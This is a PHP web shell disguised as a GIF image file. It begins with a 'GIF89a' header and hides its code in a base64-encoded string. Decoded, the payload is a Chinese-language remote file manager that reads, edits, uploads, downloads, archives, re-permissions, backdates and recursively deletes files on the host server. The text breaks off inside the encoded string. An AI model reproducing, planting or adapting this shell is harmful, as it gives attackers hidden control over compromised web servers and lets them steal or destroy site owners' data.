GIF89a<title>GIF89a</title> <?php $dos="DQoNCi8vJHBhc3N3b3JkID0gImh1b3NoYW4iOy8vyejWw8PcwusNCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTIwMTMtMDYtMTW4/NDCDQoNCj8+IDw/cGhwDQovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yMDEzLTA2LTE1uPzQwg0KZXJyb3JfcmVwb3J0aW5nKEVfRVJST1IpOw0KaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYjIzMTIiKTsNCnNldF90aW1lX2xpbWl0KDApOw0KDQpmdW5jdGlvbiBSb290X0dQKCRhcnJheSkNCnsNCgl3aGlsZShsaXN0KCRrZXksJHZhcikgPSBlYWNoKCRhcnJheSkpDQoJew0KCQlpZigoc3RydG91cHBlcigka2V5KSAhPSAka2V5IHx8ICcnLmludHZhbCgka2V5KSA9PSAiJGtleSIpICYmICRrZXkgIT0gJ2FyZ2MnICYmICRrZXkgIT0gJ2FyZ3YnKQ0KCQl7DQoJCQlpZihpc19zdHJpbmcoJHZhcikpICRhcnJheVska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFyKTsNCgkJCWlmKGlzX2FycmF5KCR2YXIpKSAkYXJyYXlbJGtleV0gPSBSb290X0dQKCR2YXIpOyAgDQoJCX0NCgl9DQoJcmV0dXJuICRhcnJheTsNCn0NCg0KZnVuY3Rpb24gUm9vdF9DU1MoKQ0Kew0KcHJpbnQ8PDxFTkQNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoJKntwYWRkaW5nOjA7IG1hcmdpbjowO30NCglib2R5e2JhY2tncm91bmQ6dGhyZWVkZmFjZTtmb250LWZhbWlseToiVmVyZGFuYSIsICJUYWhvbWEiLCAiy87M5SIsc2Fucy1zZXJpZjsgZm9udC1zaXplOjEzcHg7bWFyZ2luLXRvcDozcHg7bWFyZ2luLWJvdHRvbTozcHg7dGFibGUtbGF5b3V0OmZpeGVkO3dvcmQtYnJlYWs6YnJlYWstYWxsO30NCglhe2NvbG9yOiMwMDAwMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KCWE6aG92ZXJ7YmFja2dyb3VuZDojQkJCQkJCO30NCgl0YWJsZXtjb2xvcjojMDAwMDAwO2ZvbnQtZmFtaWx5OiJWZXJkYW5hIiwgIlRhaG9tYSIsICLLzszlIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxM3B4O2JvcmRlcjoxcHggc29saWQgIzk5OTk5OTt9DQoJdGR7YmFja2dyb3VuZDojRjlGNkY0O30NCgkudG9wdGR7YmFja2dyb3VuZDp0aHJlZWRmYWNlOyB3aWR0aDozMTBweDsgYm9yZGVyLWNvbG9yOiNGRkZGRkYgIzk5OTk5OSAjOTk5OTk5ICNGRkZGRkY7IGJvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O30NCgkubXNnYm94e2JhY2tncm91bmQ6I0ZGRkZFMDtjb2xvcjojRkYwMDAwO2hlaWdodDoyNXB4O2ZvbnQtc2l6ZToxMnB4O2JvcmRlcjoxcHggc29saWQgIzk5OTk5OTt0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nOjNweDtjbGVhcjpib3RoO30NCgkuYWN0YWxse2JhY2tncm91bmQ6I0Y5RjZGNDtmb250LXNpemU6MTRweDtib3JkZXI6MXB4IHNvbGlkICM5OTk5OTk7cGFkZGluZzoycHg7bWFyZ2luLXRvcDozcHg7bWFyZ2luLWJvdHRvbTozcHg7Y2xlYXI6Ym90aDt9DQo8L3N0eWxlPlxuDQpFTkQ7DQpyZXR1cm4gZmFsc2U7DQp9DQoNCi8vzsS8/rncwO0NCmNsYXNzIHBhY2tkaXINCnsNCgl2YXIgJG91dCA9ICcnOw0KCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCgl2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7DQoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KCXZhciAkb2xkX29mZnNldCAgID0gMDsNCglmdW5jdGlvbiBwYWNrZGlyKCRhcnJheSkNCgl7DQoJCWlmKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkNCgkJew0KCQkJZm9yKCRuID0gMDskbiA8IGNvdW50KCRhcnJheSk7JG4rKykNCgkJCXsNCgkJCQkkYXJyYXlbJG5dID0gdXJsZGVjb2RlKCRhcnJheVskbl0pOw0KCQkJCSRmcCA9IEBmb3BlbigkYXJyYXlbJG5dLCAncicpOw0KCQkJCSRmaWxlY29kZSA9IEBmcmVhZCgkZnAsIEBmaWxlc2l6ZSgkYXJyYXlbJG5dKSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJCSR0aGlzIC0+IGZpbGV6aXAoJGZpbGVjb2RlLGJhc2VuYW1lKCRhcnJheVskbl0pKTsNCgkJCX0NCgkJCUBjbG9zZWRpcigkemhpemhlbik7DQoJCQkkdGhpcy0+b3V0ID0gJHRoaXMtPnBhY2tmaWxlKCk7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCWZ1bmN0aW9uIGF0KCRhdHVuaXggPSAwKQ0KCXsNCgkJJHVuaXhhcnIgPSAoJGF0dW5peCA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJGF0dW5peCk7DQoJCWlmICgkdW5peGFyclsneWVhciddIDwgMTk4MCkNCgkJew0KCQkJJHVuaXhhcnJbJ3llYXInXSAgICA9IDE5ODA7DQoJCQkkdW5peGFyclsnbW9uJ10gICAgID0gMTsNCgkJCSR1bml4YXJyWydtZGF5J10gICAgPSAxOw0KCQkJJHVuaXhhcnJbJ2hvdXJzJ10gICA9IDA7DQoJCQkkdW5peGFyclsnbWludXRlcyddID0gMDsNCgkJCSR1bml4YXJyWydzZWNvbmRzJ10gPSAwOw0KCQl9IA0KCQlyZXR1cm4gKCgkdW5peGFyclsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR1bml4YXJyWydtb24nXSA8PCAyMSkgfCAoJHVuaXhhcnJbJ21kYXknXSA8PCAxNikgfCAoJHVuaXhhcnJbJ2hvdXJzJ10gPDwgMTEpIHwgKCR1bml4YXJyWydtaW51dGVzJ10gPDwgNSkgfCAoJHVuaXhhcnJbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoJZnVuY3Rpb24gZmlsZXppcCgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkNCgl7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoJCSRkdGltZSA9IGRlY2hleCgkdGhpcy0+YXQoJHRpbWUpKTsNCgkJJGhleGR0aW1lCT0gJ1x4Jy4kZHRpbWVbNl0uJGR0aW1lWzddLidceCcuJGR0aW1lWzRdLiRkdGltZVs1XS4nXHgnLiRkdGltZVsyXS4kZHRpbWVbM10uJ1x4Jy4kZHRpbWVbMF0uJGR0aW1lWzFdOw0KCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KCQkkZnIJPSAiXHg1MFx4NGJceDAzXHgwNCI7DQoJCSRmcgkuPSAiXHgxNFx4MDAiOw0KCQkkZnIJLj0gIlx4MDBceDAwIjsNCgkJJGZyCS49ICJceDA4XHgwMCI7DQoJCSRmcgkuPSAkaGV4ZHRpbWU7DQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KCQkkbmV3X29mZnNldCA9IHN0cmxlbihpbXBsb2RlKCcnLCAkdGhpcy0+ZGF0YXNlYykpOw0KCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MTRceDAwIjsNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOw0KCQkkY2RyZWMgLj0gJGhleGR0aW1lOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCgkJJGNkcmVjIC49ICRuYW1lOw0KCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCX0NCglmdW5jdGlvbiBwYWNrZmlsZSgpDQoJew0KCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KCQkkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCgkJcmV0dXJuICRkYXRhLiRjdHJsZGlyLiR0aGlzIC0+IGVvZl9jdHJsX2Rpci5wYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkucGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLnBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKS5wYWNrKCdWJywgc3RybGVuKCRkYXRhKSkuIlx4MDBceDAwIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIEZpbGVfU3RyKCRzdHJpbmcpDQp7DQoJcmV0dXJuIHN0cl9yZXBsYWNlKCcvLycsJy8nLHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRzdHJpbmcpKTsNCn0NCg0KZnVuY3Rpb24gRmlsZV9TaXplKCRzaXplKQ0Kew0KCWlmKCRzaXplID4gMTA3Mzc0MTgyNCkgJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsNCgllbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSAkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAnIE0nOw0KCWVsc2VpZigkc2l6ZSA+IDEwMjQpICRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7DQoJZWxzZSAkc2l6ZSA9ICRzaXplIC4gJyBCJzsNCglyZXR1cm4gJHNpemU7DQp9DQoNCmZ1bmN0aW9uIEZpbGVfTW9kZSgpDQp7DQoJJFJlYWxQYXRoID0gcmVhbHBhdGgoJy4vJyk7DQoJJFNlbGZQYXRoID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQoJJFNlbGZQYXRoID0gc3Vic3RyKCRTZWxmUGF0aCwgMCwgc3RycnBvcygkU2VsZlBhdGgsJy8nKSk7DQoJcmV0dXJuIEZpbGVfU3RyKHN1YnN0cigkUmVhbFBhdGgsIDAsIHN0cmxlbigkUmVhbFBhdGgpIC0gc3RybGVuKCRTZWxmUGF0aCkpKTsNCn0NCg0KZnVuY3Rpb24gRmlsZV9SZWFkKCRmaWxlbmFtZSkNCnsNCgkkaGFuZGxlID0gQGZvcGVuKCRmaWxlbmFtZSwicmIiKTsNCgkkZmlsZWNvZGUgPSBAZnJlYWQoJGhhbmRsZSxAZmlsZXNpemUoJGZpbGVuYW1lKSk7DQoJQGZjbG9zZSgkaGFuZGxlKTsNCglyZXR1cm4gJGZpbGVjb2RlOw0KfQ0KDQpmdW5jdGlvbiBGaWxlX1dyaXRlKCRmaWxlbmFtZSwkZmlsZWNvZGUsJGZpbGVtb2RlKQ0Kew0KCSRrZXkgPSB0cnVlOw0KCSRoYW5kbGUgPSBAZm9wZW4oJGZpbGVuYW1lLCRmaWxlbW9kZSk7DQoJaWYoIUBmd3JpdGUoJGhhbmRsZSwkZmlsZWNvZGUpKQ0KCXsNCgkJQGNobW9kKCRmaWxlbmFtZSwwNjY2KTsNCgkJJGtleSA9IEBmd3JpdGUoJGhhbmRsZSwkZmlsZWNvZGUpID8gdHJ1ZSA6IGZhbHNlOw0KCX0NCglAZmNsb3NlKCRoYW5kbGUpOw0KCXJldHVybiAka2V5Ow0KfQ0KDQpmdW5jdGlvbiBGaWxlX1VwKCRmaWxlYSwkZmlsZWIpDQp7DQoJJGtleSA9IEBjb3B5KCRmaWxlYSwkZmlsZWIpID8gdHJ1ZSA6IGZhbHNlOw0KCWlmKCEka2V5KSAka2V5ID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZWEsJGZpbGViKSA/IHRydWUgOiBmYWxzZTsNCglyZXR1cm4gJGtleTsNCn0NCg0KZnVuY3Rpb24gRmlsZV9Eb3duKCRmaWxlbmFtZSkNCnsNCglpZighZmlsZV9leGlzdHMoJGZpbGVuYW1lKSkgcmV0dXJuIGZhbHNlOw0KCSRmaWxlZG93biA9IGJhc2VuYW1lKCRmaWxlbmFtZSk7DQoJJGFycmF5ID0gZXhwbG9kZSgnLicsICRmaWxlZG93bik7DQoJJGFycmF5ZW5kID0gYXJyYXlfcG9wKCRhcnJheSk7DQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kYXJyYXllbmQpOw0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWRvd24pOw0KCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcuZmlsZXNpemUoJGZpbGVuYW1lKSk7DQoJQHJlYWRmaWxlKCRmaWxlbmFtZSk7DQoJZXhpdDsNCn0NCg0KZnVuY3Rpb24gRmlsZV9EZWx0cmVlKCRkZWxkaXIpDQp7DQoJaWYoKCRteWRpciA9IEBvcGVuZGlyKCRkZWxkaXIpKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7CQ0KCXdoaWxlKGZhbHNlICE9PSAoJGZpbGUgPSBAcmVhZGRpcigkbXlkaXIpKSkNCgl7DQoJCSRuYW1lID0gRmlsZV9TdHIoJGRlbGRpci4nLycuJGZpbGUpOw0KCQlpZigoaXNfZGlyKCRuYW1lKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpe0BjaG1vZCgkbmFtZSwwNzc3KTtGaWxlX0RlbHRyZWUoJG5hbWUpO30NCgkJaWYoaXNfZmlsZSgkbmFtZSkpe0BjaG1vZCgkbmFtZSwwNzc3KTtAdW5saW5rKCRuYW1lKTt9DQoJfSANCglAY2xvc2VkaXIoJG15ZGlyKTsNCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gdHJ1ZSA6IGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBGaWxlX0FjdCgkYXJyYXksJGFjdGFsbCwkaW52ZXIpDQp7DQoJaWYoKCRjb3VudCA9IGNvdW50KCRhcnJheSkpID09IDApIHJldHVybiAnx+vRodTxzsS8/ic7DQoJaWYoJGFjdGFsbCA9PSAnZScpDQoJew0KCQkkemlwID0gbmV3IHBhY2tkaXI7DQoJCWlmKCR6aXAtPnBhY2tkaXIoJGFycmF5KSl7JHNwaWRlciA9ICR6aXAtPm91dDtoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93biIpO2hlYWRlcigiQWNjZXB0LVJhbmdlczogYnl0ZXMiKTtoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkc3BpZGVyKSk7aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLiRpbnZlci4iOyIpO2VjaG8gJHNwaWRlcjtleGl0O30NCgkJcmV0dXJuICe08rD8y/nRoc7EvP7Kp7DcJzsNCgl9DQoJJGkgPSAwOw0KCXdoaWxlKCRpIDwgJGNvdW50KQ0KCXsNCgkJJGFycmF5WyRpXSA9IHVybGRlY29kZSgkYXJyYXlbJGldKTsNCgkJc3dpdGNoKCRhY3RhbGwpDQoJCXsNCgkJCWNhc2UgImEiIDogJGludmVyID0gdXJsZGVjb2RlKCRpbnZlcik7IGlmKCFpc19kaXIoJGludmVyKSkgcmV0dXJuICfCt762tO3O8yc7ICRmaWxlbmFtZSA9IGFycmF5X3BvcChleHBsb2RlKCcvJywkYXJyYXlbJGldKSk7IEBjb3B5KCRhcnJheVskaV0sRmlsZV9TdHIoJGludmVyLicvJy4kZmlsZW5hbWUpKTsgJG1zZyA9ICe4tNbGtb0nLiRpbnZlci4nxL/CvCc7IGJyZWFrOw0KCQkJY2FzZSAiYiIgOiBpZighQHVubGluaygkYXJyYXlbJGldKSl7QGNobW9kKCRmaWxlbmFtZSwwNjY2KTtAdW5saW5rKCRhcnJheVskaV0pO30gJG1zZyA9ICfJvrP9JzsgYnJlYWs7DQoJCQljYXNlICJjIiA6IGlmKCFlcmVnaSgiXlswLTddezR9JCIsJGludmVyKSkgcmV0dXJuICfK9NDU1rW07c7zJzsgJG5ld21vZGUgPSBiYXNlX2NvbnZlcnQoJGludmVyLDgsMTApOyBAY2htb2QoJGFycmF5WyRpXSwkbmV3bW9kZSk7ICRtc2cgPSAnyvTQ1NDeuMTOqicuJGludmVyOyBicmVhazsNCgkJCWNhc2UgImQiIDogQHRvdWNoKCRhcnJheVskaV0sc3RydG90aW1lKCRpbnZlcikpOyAkbXNnID0gJ9DeuMTKsbzkzqonLiRpbnZlcjsgYnJlYWs7DQoJCX0NCgkJJGkrKzsNCgl9DQoJcmV0dXJuICfL+dGhzsS8/icuJG1zZy4nzeqxzyc7DQp9DQoNCmZ1bmN0aW9uIEZpbGVfRWRpdCgkZmlsZXBhdGgsJGZpbGVuYW1lLCRkaW0gPSAnJykNCnsNCgkkVEhJU19ESVIgPSB1cmxlbmNvZGUoJGZpbGVwYXRoKTsNCgkkVEhJU19GSUxFID0gRmlsZV9TdHIoJGZpbGVwYXRoLicvJy4kZmlsZW5hbWUpOw0KCWlmKGZpbGVfZXhpc3RzKCRUSElTX0ZJTEUpKXskRklMRV9USU1FID0gQGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJFRISVNfRklMRSkpOyRGSUxFX0NPREUgPSBodG1sc3BlY2lhbGNoYXJzKEZpbGVfUmVhZCgkVEhJU19GSUxFKSk7fQ0KCWVsc2UgeyRGSUxFX1RJTUUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLHRpbWUoKSk7JEZJTEVfQ09ERSA9ICcnO30NCnByaW50PDw8RU5EDQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCnZhciBOUzQgPSAoZG9jdW1lbnQubGF5ZXJzKTsNCnZhciBJRTQgPSAoZG9jdW1lbnQuYWxsKTsNCnZhciB3aW4gPSB0aGlzOw0KdmFyIG4gPSAwOw0KZnVuY3Rpb24gc2VhcmNoKHN0cil7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKXJldHVybiBmYWxzZTsNCglpZihOUzQpew0KCQlpZighd2luLmZpbmQoc3RyKSkgd2hpbGUod2luLmZpbmQoc3RyLCBmYWxzZSwgdHJ1ZSkpIG4rKzsgZWxzZSBuKys7DQoJCWlmKG4gPT0gMCkgYWxlcnQoc3RyICsgIiAuLi4gTm90LUZpbmQiKQ0KCX0NCglpZihJRTQpew0KCQl0eHQgPSB3aW4uZG9jdW1lbnQuYm9keS5jcmVhdGVUZXh0UmFuZ2UoKTsNCgkJZm9yKGkgPSAwOyBpIDw9IG4gJiYgKGZvdW5kID0gdHh0LmZpbmRUZXh0KHN0cikpICE9IGZhbHNlOyBpKyspew0KCQkJdHh0Lm1vdmVTdGFydCgiY2hhcmFjdGVyIiwgMSk7DQoJCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKQ0KCQl9DQoJCWlmKGZvdW5kKXt0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7dHh0LmZpbmRUZXh0KHN0cik7dHh0LnNlbGVjdCgpO3R4dC5zY3JvbGxJbnRvVmlldygpO24rK30NCgkJZWxzZXtpZiAobiA+IDApe24gPSAwO3NlYXJjaChzdHIpfWVsc2UgYWxlcnQoc3RyICsgIi4uLiBOb3QtRmluZCIpfQ0KCX0NCglyZXR1cm4gZmFsc2UNCn0NCmZ1bmN0aW9uIENoZWNrRGF0ZSgpew0KCXZhciByZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdtdGltZScpLnZhbHVlOw0KCXZhciByZWcgPSAvXihcXGR7MSw0fSkoLXxcXC8pKFxcZHsxLDJ9KVxcMihcXGR7MSwyfSkgKFxcZHsxLDJ9KTooXFxkezEsMn0pOihcXGR7MSwyfSkkLzsgDQoJdmFyIHIgPSByZS5tYXRjaChyZWcpOw0KCWlmKHI9PW51bGwpe2FsZXJ0KCfI1cbauPHKvbK71f3ItyG48cq9Onl5eXktbW0tZGQgaGg6bW06c3MnKTtyZXR1cm4gZmFsc2U7fQ0KCWVsc2V7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvcicpLnN1Ym1pdCgpO30NCn0NCjwvc2NyaXB0Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj6y6dXSxNrI3TogPGlucHV0IG5hbWU9InNlYXJjaHMiIHR5cGU9InRleHQiIHZhbHVlPSJ7JGRpbX0iIHN0eWxlPSJ3aWR0aDo1MDBweDsiPg0KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrLp1dIiIG9uY2xpY2s9InNlYXJjaChzZWFyY2hzLnZhbHVlKSI+PC9kaXY+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIGlkPSJlZGl0b3IiIGFjdGlvbj0iP3M9YSZwPXskVEhJU19ESVJ9Ij4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBmbiIgdmFsdWU9InskVEhJU19GSUxFfSIgc3R5bGU9IndpZHRoOjc1MHB4OyI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjx0ZXh0YXJlYSBuYW1lPSJwZmMiIGlkIHN0eWxlPSJ3aWR0aDo3NTBweDtoZWlnaHQ6MzgwcHg7Ij57JEZJTEVfQ09ERX08L3RleHRhcmVhPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7OxLz+0N64xMqxvOQgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im10aW1lIiBpZD0ibXRpbWUiIHZhbHVlPSJ7JEZJTEVfVElNRX0iIHN0eWxlPSJ3aWR0aDoxNTBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0isaO05iIgb25jbGljaz0iQ2hlY2tEYXRlKCk7IiBzdHlsZT0id2lkdGg6ODBweDsiPg0KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ire1u9giIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3M9YSZwPXskVEhJU19ESVJ9JzsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+DQo8L2Zvcm0+DQpFTkQ7DQp9DQoNCmZ1bmN0aW9uIEZpbGVfU291cCgkcCkNCnsNCgkkVEhJU19ESVIgPSB1cmxlbmNvZGUoJHApOw0KCSRVUF9TSVpFID0gZ2V0X2NmZ192YXIoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKTsNCgkkTVNHX0JPWCA9ICe1pbj2uL28/tTK0O2089ChOicuJFVQX1NJWkUuJywguMTD+7jxyr0obmV3LnBocCksyOfOqr/VLNTysaOz1tStzsS8/sP7Lic7DQoJaWYoIWVtcHR5KCRfUE9TVFsndXBkaXInXSkpDQoJew0KCQlpZihjb3VudCgkX0ZJTEVTWydzb3VwJ10pID49IDEpDQoJCXsNCgkJCSRpID0gMDsNCgkJCWZvcmVhY2ggKCRfRklMRVNbJ3NvdXAnXVsnZXJyb3InXSBhcyAka2V5ID0+ICRlcnJvcikNCgkJCXsNCgkJCQlpZiAoJGVycm9yID09IFVQTE9BRF9FUlJfT0spDQoJCQkJew0KCQkJCQkkc291cHRtcCA9ICRfRklMRVNbJ3NvdXAnXVsndG1wX25hbWUnXVska2V5XTsNCgkJCQkJaWYoIWVtcHR5KCRfUE9TVFsncmV1cCddWyRpXSkpJHNvdXBuYW1lID0gJF9QT1NUWydyZXVwJ11bJGldOyBlbHNlICRzb3VwbmFtZSA9ICRfRklMRVNbJ3NvdXAnXVsnbmFtZSddWyRrZXldOw0KCQkJCQkkTVNHWyRpXSA9IEZpbGVfVXAoJHNvdXB0bXAsRmlsZV9TdHIoJF9QT1NUWyd1cGRpciddLicvJy4kc291cG5hbWUpKSA/ICRzb3VwbmFtZS4nyc+0q7PJuaYnIDogJHNvdXBuYW1lLifJz7Sryqew3Cc7DQoJCQkJfQ0KCQkJCSRpKys7DQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkTVNHX0JPWCA9ICfH69Gh1PHOxLz+JzsNCgkJfQ0KCX0NCnByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJtc2dib3giPnskTVNHX0JPWH08L2Rpdj4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9ImVkaXRvciIgYWN0aW9uPSI/cz1xJnA9eyRUSElTX0RJUn0iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7Jz7Srtb3Ev8K8OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXBkaXIiIHZhbHVlPSJ7JHB9IiBzdHlsZT0id2lkdGg6NTMxcHg7aGVpZ2h0OjIycHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+uL28/jEgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InNvdXBbXSIgc3R5bGU9IndpZHRoOjMwMHB4O2hlaWdodDoyMnB4OyI+ILjEw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJldXBbXSIgc3R5bGU9IndpZHRoOjEzMHB4O2hlaWdodDoyMnB4OyI+ICRNU0dbMF0gPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP4yIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzFdIDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj64vbz+MyA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ic291cFtdIiBzdHlsZT0id2lkdGg6MzAwcHg7aGVpZ2h0OjIycHg7Ij4guMTD+yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmV1cFtdIiBzdHlsZT0id2lkdGg6MTMwcHg7aGVpZ2h0OjIycHg7Ij4gJE1TR1syXSA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+uL28/jQgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InNvdXBbXSIgc3R5bGU9IndpZHRoOjMwMHB4O2hlaWdodDoyMnB4OyI+ILjEw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU